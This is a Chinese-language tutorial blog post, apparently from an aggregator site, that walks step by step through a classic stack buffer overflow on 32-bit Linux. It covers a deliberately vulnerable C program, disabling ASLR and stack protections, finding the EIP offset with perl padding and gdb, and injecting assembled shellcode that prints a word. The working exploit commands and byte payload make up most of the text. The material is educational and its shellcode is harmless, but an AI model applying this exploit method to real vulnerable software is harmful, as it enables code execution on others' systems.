缓冲区溢出攻击实践

Posted 海枫

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了缓冲区溢出攻击实践相关的知识,希望对你有一定的参考价值。

缓冲区溢出攻击方法是黑客入门的基础,本文以具体实例一步步介绍如何进行最初级的缓冲区溢出攻击。


攻击前准备

本文介绍的利用方法是最原始的方法,高版本Linux已启用数据执行保护和地址随机化安全特性防止这种初级的利用方法。为了向大家展示这种攻击方法,需要做如下的事情:
禁止地址随机化功能: echo 0 > /proc/sys/kernel/randomize_va_space

系统支持编译32位的应用程序和运行库:

示例代码


为了直接展示缓冲区漏洞攻击方法,我们省掉了与网络相关的部分,而是直接编写一个带栈缓冲区溢出的代码:
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])

        char buf[32];
        FILE *fp;

        fp = fopen("bad.txt", "r");
        if (!fp) 
                perror("fopen");
                return 1;
        

        fread(buf, 1024, 1, fp);
        printf("data: %s\\n", buf);

        return 0;


示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。 下文就是这个程序作为漏洞代码,一步步剖析如何攻击。

编译程序

gcc -Wall -g -fno-stack-protector  -o stack1 stack1.c -m32 -Wl,-zexecstack

笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。
如果是32位Linux可以直接编译:gcc -Wall -g  -o stack1 stack1.c

尝试修改EIP,控制执行路径

那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?
buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。
为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.
为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:
输出30个'A'字符 $ perl -e 'printf "A"x30' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
输出30个'A'字符,后追加4个'B'字符
$ perl -e 'printf "A"x30 . "B"x4' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。 目前知道buf大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault,则每次增加'A'字符4个,直到程序segment fault。如果 'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。
我机器上的测试过程:
$ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault
$ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault

$ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.
使用调试工具gdb分析此时的eip是否为0x4244242 $ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 6043]


warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register eip
eip            0x42424242       0x42424242

分析core文件,发现eip被写成'BBBB',注入内容中的'BBBB'刚才对准了栈中存放EIP的位置。
找到EIP位置,离成功迈进了一大步。

注入执行代码

控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。
通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。
为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出"FUCK"字符串,然后程序退出。
为了简单起引, 我们shellcode就相当于下面两句C语言的效果: write(1, "FUCK\\n", 5); exit(0);
在Linux里面,上面两个C语可通过两次系统调用(调用号分别为4和1)实现。
下面32位x86的汇编代码shell1.s:

start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx   ; 寄存器清零

mov bl, 1
add esp, string - start ; 调整esp指向字符串
mov  ecx, esp
mov  dl, 5
mov al, 4
int 0x80                ;write(1, "FUNC\\n", 5)

mov al, 1
mov bl, 1
dec bl
int 0x80                ; exit(0)

string:
db "FUCK",0xa

接着做编译和反编译
编译命令:nasm -o shell1 shell1.s 反编译命令: ndisasm shell1
反编译结果如下:
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  31D2              xor dx,dx
00000008  B301              mov bl,0x1
0000000A  83C41D            add sp,byte +0x1d
0000000D  89E1              mov cx,sp
0000000F  B205              mov dl,0x5
00000011  B004              mov al,0x4
00000013  CD80              int 0x80
00000015  B001              mov al,0x1
00000017  B301              mov bl,0x1
00000019  FECB              dec bl
0000001B  CD80              int 0x80
0000001D  46                inc si
0000001E  55                push bp
0000001F  43                inc bx
00000020  4B                dec bx
00000021  0A                db 0x0a


根上述反编译出来的字节码,使用如下的perl命令来生成: perl -e 'printf "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb3\\x01\\x83\\xc4\\x1d\\x89\\xe1\\xb2\\x05\\xb0\\x04\\xcd\\x80\\xb0\\x01\\xb3\\x01\\xfe\\xcb\\xcd\\x80\\x46\\x55\\x43\\x4b\\x0a"'

那么,将之前测试的那段注入内容拼在一块,生成的命令如下: perl -e 'printf "A"x48 . "B"x4 . "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb3\\x01\\x83\\xc4\\x1d\\x89\\xe1\\xb2\\x05\\xb0\\x04\\xcd\\x80\\xb0\\x01\\xb3\\x01\\xfe\\xcb\\xcd\\x80\\x46\\x55\\x43\\x4b\\x0a"' > bad.txt

打通任督二脉

上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。
很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。
$ perl -e 'printf "A"x48 . "B"x4 . "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb3\\x01\\x83\\xc4\\x1d\\x89\\xe1\\xb2\\x05\\xb0\\x04\\xcd\\x80\\xb0\\x01\\xb3\\x01\\xfe\\xcb\\xcd\\x80\\x46\\x55\\x43\\x4b\\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒
Segmentation fault (core dumped)

$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 7399]


warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register esp
esp            0xffffd710       0xffffd710

esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为"\\x10\\xd7\\xff\\xff"
所以将EIP原来的注入值'BBBB'变成"\\x10\\xd7\\xff\\xff"即可。再次测试:
$ perl -e 'printf "A"x48 ."\\x10\\xd7\\xff\\xff" . "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb3\\x01\\x83\\xc4\\x1d\\x89\\xe1\\xb2\\x05\\xb0\\x04\\xcd\\x80\\xb0\\x01\\xb3\\x01\\xfe\\xcb\\xcd\\x80\\x46\\x55\\x43\\x4b\\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒
FUCK

成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

小结

这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。
本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。
但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。
============= 回顾一下本系列文章 ==============

以上是关于缓冲区溢出攻击实践的主要内容,如果未能解决你的问题,请参考以下文章

《网络安全技术原理与实践》第六章缓冲区溢出攻击-课本实验

《SQL注入攻击与实践》

2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践

2017-2018-2 20179205《网络攻防技术与实践》第十一周作业 SQL注入攻击与实践

如何处理Android中的防缓冲区溢出技术

缓冲区溢出攻击的6.防范方法